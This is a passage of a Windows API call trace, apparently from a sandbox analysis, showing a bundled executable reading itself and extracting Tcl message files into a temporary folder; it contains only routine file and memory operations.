(lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.455] GetFileType (hFile=0x10c) returned 0x1 [0037.455] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.455] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.455] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.455] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.455] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.455] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.455] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.455] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.455] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.455] CloseHandle (hObject=0x10c) returned 1 [0037.456] GetLastError () returned 0x0 [0037.456] SetLastError (dwErrCode=0x0) [0037.456] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\hu.msg") returned 61 [0037.456] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\hu.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\hu.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.456] GetLastError () returned 0x2 [0037.456] SetLastError (dwErrCode=0x2) [0037.456] GetLastError () returned 0x2 [0037.456] SetLastError (dwErrCode=0x2) [0037.456] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\hu.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\hu.msg", lpFilePart=0x0) returned 0x3c [0037.456] GetLastError () returned 0x2 [0037.456] SetLastError (dwErrCode=0x2) [0037.456] GetLastError () returned 0x2 [0037.456] SetLastError (dwErrCode=0x2) [0037.456] GetLastError () returned 0x2 [0037.456] SetLastError (dwErrCode=0x2) [0037.456] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\hu.msg") returned 61 [0037.456] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.456] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\hu.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\hu.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.456] GetFileType (hFile=0x10c) returned 0x1 [0037.456] htonl (hostlong=0x2f050000) returned 0x52f [0037.456] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.456] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x52f, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x52f, lpOverlapped=0x0) returned 1 [0037.457] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.457] CloseHandle (hObject=0x10c) returned 1 [0037.458] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0037.458] htonl (hostlong=0x30000000) returned 0x30 [0037.458] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.458] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.458] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.458] GetFileType (hFile=0x10c) returned 0x1 [0037.458] htonl (hostlong=0xe8705700) returned 0x5770e8 [0037.458] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c20e8, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.458] htonl (hostlong=0x23010000) returned 0x123 [0037.458] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x123) returned 0x550600 [0037.459] htonl (hostlong=0x23010000) returned 0x123 [0037.459] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.459] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.459] htonl (hostlong=0x92030000) returned 0x392 [0037.459] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x392) returned 0x550730 [0037.459] htonl (hostlong=0x23010000) returned 0x123 [0037.459] htonl (hostlong=0x92030000) returned 0x392 [0037.459] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.459] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.459] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.459] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.459] CloseHandle (hObject=0x10c) returned 1 [0037.459] GetLastError () returned 0x0 [0037.459] SetLastError (dwErrCode=0x0) [0037.459] GetLastError () returned 0x0 [0037.459] SetLastError (dwErrCode=0x0) [0037.459] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.459] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.459] GetFileType (hFile=0x10c) returned 0x1 [0037.459] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.459] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.459] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.459] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.459] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.459] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.459] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.460] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.460] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.460] CloseHandle (hObject=0x10c) returned 1 [0037.460] GetLastError () returned 0x0 [0037.460] SetLastError (dwErrCode=0x0) [0037.460] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.460] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.460] GetFileType (hFile=0x10c) returned 0x1 [0037.460] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.460] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.460] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.460] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.460] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.460] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.460] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.460] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.460] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.460] CloseHandle (hObject=0x10c) returned 1 [0037.460] GetLastError () returned 0x0 [0037.460] SetLastError (dwErrCode=0x0) [0037.460] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\id.msg") returned 61 [0037.460] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\id.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\id.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.461] GetLastError () returned 0x2 [0037.461] SetLastError (dwErrCode=0x2) [0037.461] GetLastError () returned 0x2 [0037.461] SetLastError (dwErrCode=0x2) [0037.461] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\id.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\id.msg", lpFilePart=0x0) returned 0x3c [0037.461] GetLastError () returned 0x2 [0037.461] SetLastError (dwErrCode=0x2) [0037.461] GetLastError () returned 0x2 [0037.461] SetLastError (dwErrCode=0x2) [0037.461] GetLastError () returned 0x2 [0037.461] SetLastError (dwErrCode=0x2) [0037.461] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\id.msg") returned 61 [0037.461] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.461] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\id.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\id.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.464] GetFileType (hFile=0x10c) returned 0x1 [0037.464] htonl (hostlong=0x92030000) returned 0x392 [0037.464] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.464] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x392, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x392, lpOverlapped=0x0) returned 1 [0037.465] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.465] CloseHandle (hObject=0x10c) returned 1 [0037.466] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550730 | out: hHeap=0x530000) returned 1 [0037.466] htonl (hostlong=0x30000000) returned 0x30 [0037.466] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.466] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.466] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.466] GetFileType (hFile=0x10c) returned 0x1 [0037.466] htonl (hostlong=0xb725700) returned 0x57720b [0037.466] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c220b, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.466] htonl (hostlong=0x9e000000) returned 0x9e [0037.466] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9e) returned 0x55cfe0 [0037.466] htonl (hostlong=0x9e000000) returned 0x9e [0037.466] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.467] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.467] htonl (hostlong=0xfb000000) returned 0xfb [0037.467] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfb) returned 0x550600 [0037.467] htonl (hostlong=0x9e000000) returned 0x9e [0037.467] htonl (hostlong=0xfb000000) returned 0xfb [0037.467] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.467] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.467] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.467] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.467] CloseHandle (hObject=0x10c) returned 1 [0037.467] GetLastError () returned 0x0 [0037.467] SetLastError (dwErrCode=0x0) [0037.467] GetLastError () returned 0x0 [0037.467] SetLastError (dwErrCode=0x0) [0037.467] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.467] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.467] GetFileType (hFile=0x10c) returned 0x1 [0037.467] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.467] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.467] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.467] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.467] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.467] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.467] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.467] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.467] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.468] CloseHandle (hObject=0x10c) returned 1 [0037.468] GetLastError () returned 0x0 [0037.468] SetLastError (dwErrCode=0x0) [0037.468] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.468] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.468] GetFileType (hFile=0x10c) returned 0x1 [0037.468] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.468] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.468] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.468] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.468] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.468] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.468] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.468] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.468] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.468] CloseHandle (hObject=0x10c) returned 1 [0037.468] GetLastError () returned 0x0 [0037.468] SetLastError (dwErrCode=0x0) [0037.468] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\id_id.msg") returned 64 [0037.468] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\id_id.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\id_id.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.468] GetLastError () returned 0x2 [0037.468] SetLastError (dwErrCode=0x2) [0037.468] GetLastError () returned 0x2 [0037.468] SetLastError (dwErrCode=0x2) [0037.469] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\id_id.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\id_id.msg", lpFilePart=0x0) returned 0x3f [0037.469] GetLastError () returned 0x2 [0037.469] SetLastError (dwErrCode=0x2) [0037.469] GetLastError () returned 0x2 [0037.469] SetLastError (dwErrCode=0x2) [0037.469] GetLastError () returned 0x2 [0037.469] SetLastError (dwErrCode=0x2) [0037.469] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\id_id.msg") returned 64 [0037.469] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.469] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\id_id.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\id_id.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.469] GetFileType (hFile=0x10c) returned 0x1 [0037.469] htonl (hostlong=0xfb000000) returned 0xfb [0037.469] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.469] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xfb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xfb, lpOverlapped=0x0) returned 1 [0037.478] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.478] CloseHandle (hObject=0x10c) returned 1 [0037.478] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.478] htonl (hostlong=0x30000000) returned 0x30 [0037.479] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.479] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.479] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.479] GetFileType (hFile=0x10c) returned 0x1 [0037.479] htonl (hostlong=0xa9725700) returned 0x5772a9 [0037.479] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c22a9, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.479] 